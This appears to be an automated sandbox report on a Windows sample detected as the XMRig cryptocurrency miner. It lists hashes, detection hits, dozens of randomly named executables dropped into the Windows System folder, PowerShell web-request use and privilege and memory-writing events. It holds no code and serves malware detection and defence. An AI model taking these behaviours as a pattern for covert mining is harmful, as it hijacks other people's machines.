xmrig | b7506d2dbf8a8c0d4acbf9773c258bb6dd723b6be958a17a12fd3b34ce344440

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16-05-2024 07:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
Size

2.8MB
MD5

bbfbca5efaccf17ba2dd4cfac3393400
SHA1

35513111cb2e68b694a5d7b67316d2c4a37baa73
SHA256

b7506d2dbf8a8c0d4acbf9773c258bb6dd723b6be958a17a12fd3b34ce344440
SHA512

b8b4ff98bac2efc7f6beb500c8002821725e278631fe9a5eaa8391c8de757be8f0d76c85222f7a2b10577d6cbc05684e3e9e7e0e455efd028fb35294f4cf6f1f
SSDEEP

49152:S1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkHC0IlnASEx/RkJ:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2Rl

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 61 IoCs

miner

resource	yara_rule
behavioral1/memory/2320-1-0x000000013FE80000-0x0000000140276000-memory.dmp	xmrig
behavioral1/files/0x000c00000001441e-3.dat	xmrig
behavioral1/files/0x000f0000000006fd-18.dat	xmrig
behavioral1/files/0x0009000000014a55-19.dat	xmrig
behavioral1/files/0x0009000000014e3d-25.dat	xmrig
behavioral1/files/0x0007000000014ec4-33.dat	xmrig
behavioral1/files/0x0007000000015264-40.dat	xmrig
behavioral1/files/0x0006000000016d36-84.dat	xmrig
behavioral1/files/0x0006000000016d41-89.dat	xmrig
behavioral1/files/0x0006000000016d24-78.dat	xmrig
behavioral1/files/0x0006000000016d4a-99.dat	xmrig
behavioral1/files/0x0006000000016d4f-103.dat	xmrig
behavioral1/files/0x000600000001704f-123.dat	xmrig
behavioral1/files/0x0006000000016e56-118.dat	xmrig
behavioral1/files/0x0006000000016d89-113.dat	xmrig
behavioral1/files/0x000500000001868c-155.dat	xmrig
behavioral1/memory/2612-157-0x000000013F270000-0x000000013F666000-memory.dmp	xmrig
behavioral1/files/0x00050000000186a0-166.dat	xmrig
behavioral1/files/0x0006000000018ae8-174.dat	xmrig
behavioral1/files/0x0006000000018b42-191.dat	xmrig
behavioral1/files/0x0006000000018b4a-194.dat	xmrig
behavioral1/files/0x0005000000018698-188.dat	xmrig
behavioral1/files/0x0006000000018b37-184.dat	xmrig
behavioral1/files/0x0006000000018b15-176.dat	xmrig
behavioral1/files/0x0006000000018ae2-169.dat	xmrig
behavioral1/memory/2880-160-0x000000013F8C0000-0x000000013FCB6000-memory.dmp	xmrig
behavioral1/memory/2320-150-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/memory/2772-149-0x000000013FF10000-0x0000000140306000-memory.dmp	xmrig
behavioral1/memory/2784-147-0x000000013F030000-0x000000013F426000-memory.dmp	xmrig
behavioral1/memory/2592-145-0x000000013F9E0000-0x000000013FDD6000-memory.dmp	xmrig
behavioral1/memory/2972-142-0x000000013F220000-0x000000013F616000-memory.dmp	xmrig
behavioral1/memory/2912-140-0x000000013FFC0000-0x00000001403B6000-memory.dmp	xmrig
behavioral1/memory/3000-137-0x000000013F700000-0x000000013FAF6000-memory.dmp	xmrig
behavioral1/files/0x0006000000018b33-182.dat	xmrig
behavioral1/memory/2032-134-0x000000013F2A0000-0x000000013F696000-memory.dmp	xmrig
behavioral1/files/0x0006000000017090-133.dat	xmrig
behavioral1/memory/2240-131-0x000000013F490000-0x000000013F886000-memory.dmp	xmrig
behavioral1/memory/2564-152-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/files/0x0006000000016d84-108.dat	xmrig
behavioral1/files/0x0009000000014aec-97.dat	xmrig
behavioral1/files/0x0006000000016d11-73.dat	xmrig
behavioral1/files/0x0006000000016d01-68.dat	xmrig
behavioral1/files/0x0006000000016cf0-63.dat	xmrig
behavioral1/files/0x0006000000016cd4-58.dat	xmrig
behavioral1/files/0x0006000000016ccf-54.dat	xmrig
behavioral1/files/0x0007000000015c7c-48.dat	xmrig
behavioral1/files/0x0007000000014fe1-36.dat	xmrig
behavioral1/memory/2236-14-0x000000013F990000-0x000000013FD86000-memory.dmp	xmrig
behavioral1/memory/2236-2277-0x000000013F990000-0x000000013FD86000-memory.dmp	xmrig
behavioral1/memory/2880-2278-0x000000013F8C0000-0x000000013FCB6000-memory.dmp	xmrig
behavioral1/memory/2032-2279-0x000000013F2A0000-0x000000013F696000-memory.dmp	xmrig
behavioral1/memory/2240-2284-0x000000013F490000-0x000000013F886000-memory.dmp	xmrig
behavioral1/memory/3000-2290-0x000000013F700000-0x000000013FAF6000-memory.dmp	xmrig
behavioral1/memory/2972-2291-0x000000013F220000-0x000000013F616000-memory.dmp	xmrig
behavioral1/memory/2784-2300-0x000000013F030000-0x000000013F426000-memory.dmp	xmrig
behavioral1/memory/2772-2306-0x000000013FF10000-0x0000000140306000-memory.dmp	xmrig
behavioral1/memory/2612-2313-0x000000013F270000-0x000000013F666000-memory.dmp	xmrig
behavioral1/memory/2564-2303-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/memory/2592-2294-0x000000013F9E0000-0x000000013FDD6000-memory.dmp	xmrig
behavioral1/memory/2912-2288-0x000000013FFC0000-0x00000001403B6000-memory.dmp	xmrig
behavioral1/memory/2320-2367-0x000000013FE80000-0x0000000140276000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2196	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2236	tiXNHbr.exe
2880	nEdpqvf.exe
2240	kFtpVxj.exe
2032	blKYHfz.exe
3000	xVaoClJ.exe
2912	LOPIPmp.exe
2972	uDiFbfc.exe
2592	wuoKbuj.exe
2784	rjnLzPG.exe
2772	RbYoeMz.exe
2564	ZloYCAT.exe
2612	dahuVYp.exe
2400	oWPLkQw.exe
2600	wCuVITL.exe
1068	qtSHsBk.exe
1216	PLvVEau.exe
2860	KXEuZOc.exe
2080	IHDNdBQ.exe
760	ffcnWPj.exe
1660	xfLsCWs.exe
1292	blguYdq.exe
2180	kWdjwov.exe
944	DSTxKIX.exe
1640	eDOouGg.exe
2696	IoQvBHI.exe
2840	iIXzbUQ.exe
1928	tWycOTa.exe
2040	gJhZPcW.exe
676	KADhBWQ.exe
2132	gyhjavH.exe
2344	HMubduq.exe
2720	KCbwGMm.exe
2672	PpWkppZ.exe
428	XxGtvTO.exe
1960	SOBAeIQ.exe
1200	iWANVwo.exe
1484	KgLojeL.exe
1012	PsEspIe.exe
1136	AIChxjw.exe
1096	PmqFhIy.exe
108	YwbzVnu.exe
3068	lYmpONq.exe
2936	CaHaMBl.exe
2084	gKVaTbR.exe
3048	Brlinrm.exe
1756	XBlrgjS.exe
2788	SRoXLNw.exe
1268	lhZvlxS.exe
2964	ZHsQBSg.exe
2104	MLLQbpw.exe
1748	CuSoizU.exe
2896	oiJNEqd.exe
2816	gIMguFK.exe
2824	aVPrOTw.exe
2224	XrDWpzj.exe
2656	uDnSwhG.exe
1648	djMwcjS.exe
2908	gNLNmXJ.exe
2528	zEORrKW.exe
2524	BAxOZwO.exe
2516	cnBPCLz.exe
2604	emegone.exe
1676	thUchHU.exe
1112	eTIIzXX.exe

Loads dropped DLL 64 IoCs

pid	Process
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2320-1-0x000000013FE80000-0x0000000140276000-memory.dmp	upx
behavioral1/files/0x000c00000001441e-3.dat	upx
behavioral1/files/0x000f0000000006fd-18.dat	upx
behavioral1/files/0x0009000000014a55-19.dat	upx
behavioral1/files/0x0009000000014e3d-25.dat	upx
behavioral1/files/0x0007000000014ec4-33.dat	upx
behavioral1/files/0x0007000000015264-40.dat	upx
behavioral1/files/0x0006000000016d36-84.dat	upx
behavioral1/files/0x0006000000016d41-89.dat	upx
behavioral1/files/0x0006000000016d24-78.dat	upx
behavioral1/files/0x0006000000016d4a-99.dat	upx
behavioral1/files/0x0006000000016d4f-103.dat	upx
behavioral1/files/0x000600000001704f-123.dat	upx
behavioral1/files/0x0006000000016e56-118.dat	upx
behavioral1/files/0x0006000000016d89-113.dat	upx
behavioral1/files/0x000500000001868c-155.dat	upx
behavioral1/memory/2612-157-0x000000013F270000-0x000000013F666000-memory.dmp	upx
behavioral1/files/0x00050000000186a0-166.dat	upx
behavioral1/files/0x0006000000018ae8-174.dat	upx
behavioral1/files/0x0006000000018b42-191.dat	upx
behavioral1/files/0x0006000000018b4a-194.dat	upx
behavioral1/files/0x0005000000018698-188.dat	upx
behavioral1/files/0x0006000000018b37-184.dat	upx
behavioral1/files/0x0006000000018b15-176.dat	upx
behavioral1/files/0x0006000000018ae2-169.dat	upx
behavioral1/memory/2880-160-0x000000013F8C0000-0x000000013FCB6000-memory.dmp	upx
behavioral1/memory/2772-149-0x000000013FF10000-0x0000000140306000-memory.dmp	upx
behavioral1/memory/2784-147-0x000000013F030000-0x000000013F426000-memory.dmp	upx
behavioral1/memory/2592-145-0x000000013F9E0000-0x000000013FDD6000-memory.dmp	upx
behavioral1/memory/2972-142-0x000000013F220000-0x000000013F616000-memory.dmp	upx
behavioral1/memory/2912-140-0x000000013FFC0000-0x00000001403B6000-memory.dmp	upx
behavioral1/memory/3000-137-0x000000013F700000-0x000000013FAF6000-memory.dmp	upx
behavioral1/files/0x0006000000018b33-182.dat	upx
behavioral1/memory/2032-134-0x000000013F2A0000-0x000000013F696000-memory.dmp	upx
behavioral1/files/0x0006000000017090-133.dat	upx
behavioral1/memory/2240-131-0x000000013F490000-0x000000013F886000-memory.dmp	upx
behavioral1/memory/2564-152-0x000000013F510000-0x000000013F906000-memory.dmp	upx
behavioral1/files/0x0006000000016d84-108.dat	upx
behavioral1/files/0x0009000000014aec-97.dat	upx
behavioral1/files/0x0006000000016d11-73.dat	upx
behavioral1/files/0x0006000000016d01-68.dat	upx
behavioral1/files/0x0006000000016cf0-63.dat	upx
behavioral1/files/0x0006000000016cd4-58.dat	upx
behavioral1/files/0x0006000000016ccf-54.dat	upx
behavioral1/files/0x0007000000015c7c-48.dat	upx
behavioral1/files/0x0007000000014fe1-36.dat	upx
behavioral1/memory/2236-14-0x000000013F990000-0x000000013FD86000-memory.dmp	upx
behavioral1/memory/2236-2277-0x000000013F990000-0x000000013FD86000-memory.dmp	upx
behavioral1/memory/2880-2278-0x000000013F8C0000-0x000000013FCB6000-memory.dmp	upx
behavioral1/memory/2032-2279-0x000000013F2A0000-0x000000013F696000-memory.dmp	upx
behavioral1/memory/2240-2284-0x000000013F490000-0x000000013F886000-memory.dmp	upx
behavioral1/memory/3000-2290-0x000000013F700000-0x000000013FAF6000-memory.dmp	upx
behavioral1/memory/2972-2291-0x000000013F220000-0x000000013F616000-memory.dmp	upx
behavioral1/memory/2784-2300-0x000000013F030000-0x000000013F426000-memory.dmp	upx
behavioral1/memory/2772-2306-0x000000013FF10000-0x0000000140306000-memory.dmp	upx
behavioral1/memory/2612-2313-0x000000013F270000-0x000000013F666000-memory.dmp	upx
behavioral1/memory/2564-2303-0x000000013F510000-0x000000013F906000-memory.dmp	upx
behavioral1/memory/2592-2294-0x000000013F9E0000-0x000000013FDD6000-memory.dmp	upx
behavioral1/memory/2912-2288-0x000000013FFC0000-0x00000001403B6000-memory.dmp	upx
behavioral1/memory/2320-2367-0x000000013FE80000-0x0000000140276000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\DAJKMnH.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ZcxxvJz.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\cnmPMST.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\eaMXLtw.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\TnWakTJ.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\XlsGYOT.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\iAyoCyY.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\JiKhcFa.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\tZCJbaA.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\nqumZfq.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\bCWQsBr.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\QzLmfIM.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\MVQozOV.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\nrKitgJ.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\SRoXLNw.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ivFercK.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\mLKGaOD.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\CyAHAel.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\HZgrUbY.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\bkqLETQ.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ojdTIbl.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\VgAIWun.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\spdFnfI.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\eTIIzXX.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\eNuJELg.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\GlIWpqa.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\rxOTrTe.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\nQdoCRK.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\JtUCBKq.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\iWANVwo.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ataxWRL.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ETeQCkL.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\LHWCkrm.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\TpxTxxm.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\GmgxeBn.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ufHVQKB.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\DOYxSMA.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ZMUzize.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\LwtLeJa.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\Nucbwmb.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\tpueDop.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\SANIbOD.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\HNWctBc.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\WnxWCSm.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\rCPsOec.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\aRoPTaG.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ZSrdYCH.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\MgFXlra.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ltGJTNZ.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\ZcJkQcc.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\GElnCQS.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\XVVhJRI.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\edJkcNX.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\wYmfnGk.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\IRKmmJt.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\PfxUCLN.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\kMhvBQh.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\AfwfjRB.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\fzyhDtO.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\WuNHwmP.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\IUprsPc.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\HuqiFJK.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\FfunxOd.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
File created	C:\Windows\System\BurUyvM.exe	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2196	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	29
PID 2320 wrote to memory of 2196	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	29
PID 2320 wrote to memory of 2196	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	29
PID 2320 wrote to memory of 2236	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	30
PID 2320 wrote to memory of 2236	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	30
PID 2320 wrote to memory of 2236	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	30
PID 2320 wrote to memory of 2880	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	31
PID 2320 wrote to memory of 2880	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	31
PID 2320 wrote to memory of 2880	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	31
PID 2320 wrote to memory of 2240	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	32
PID 2320 wrote to memory of 2240	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	32
PID 2320 wrote to memory of 2240	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	32
PID 2320 wrote to memory of 2032	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	33
PID 2320 wrote to memory of 2032	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	33
PID 2320 wrote to memory of 2032	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	33
PID 2320 wrote to memory of 3000	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	34
PID 2320 wrote to memory of 3000	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	34
PID 2320 wrote to memory of 3000	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	34
PID 2320 wrote to memory of 2912	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	35
PID 2320 wrote to memory of 2912	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	35
PID 2320 wrote to memory of 2912	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	35
PID 2320 wrote to memory of 2972	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	36
PID 2320 wrote to memory of 2972	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	36
PID 2320 wrote to memory of 2972	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	36
PID 2320 wrote to memory of 2592	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	37
PID 2320 wrote to memory of 2592	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	37
PID 2320 wrote to memory of 2592	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	37
PID 2320 wrote to memory of 2784	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	38
PID 2320 wrote to memory of 2784	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	38
PID 2320 wrote to memory of 2784	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	38
PID 2320 wrote to memory of 2772	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	39
PID 2320 wrote to memory of 2772	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	39
PID 2320 wrote to memory of 2772	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	39
PID 2320 wrote to memory of 2564	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	40
PID 2320 wrote to memory of 2564	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	40
PID 2320 wrote to memory of 2564	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	40
PID 2320 wrote to memory of 2612	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	41
PID 2320 wrote to memory of 2612	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	41
PID 2320 wrote to memory of 2612	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	41
PID 2320 wrote to memory of 2400	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	42
PID 2320 wrote to memory of 2400	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	42
